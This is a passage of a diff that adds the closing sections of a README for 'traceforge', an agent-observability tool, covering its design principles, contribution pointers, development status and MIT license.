+ The authoritative technical spec remains in [`SPEC.md`](SPEC.md).
165
+
166
+ ## Design principles
167
+
168
+ - **Observation-first**: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
169
+ - **Framework-agnostic**: new framework support = new YAML file.
170
+ - **Defensive parsing**: malformed input is logged and skipped, never crashes.
171
+ - **Immutable domain objects**: events are frozen models.
172
+ - **Error isolation**: one failing sink cannot block others.
173
+ - **Data-driven**: classification, risk scoring, and MCP profiles are externalized to YAML.
174
+
175
+ ## Contributing
176
+
177
+ Contributions welcome, see **[CONTRIBUTING.md](CONTRIBUTING.md)** for dev setup with `uv`, running
178
+ the test suite, linting with `ruff`, and how to add a new agent framework mapping.
179
+
180
+ ## Status
181
+
182
+ 🚧 **Under active development**: not yet published to PyPI. The pipeline is feature-complete:
183
+ sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring,
184
+ the governance engine, all storage sinks, and the `traceforge` CLI all ship today.
185
+
186
+ ## License
187
+
188
+ [MIT](LICENSE)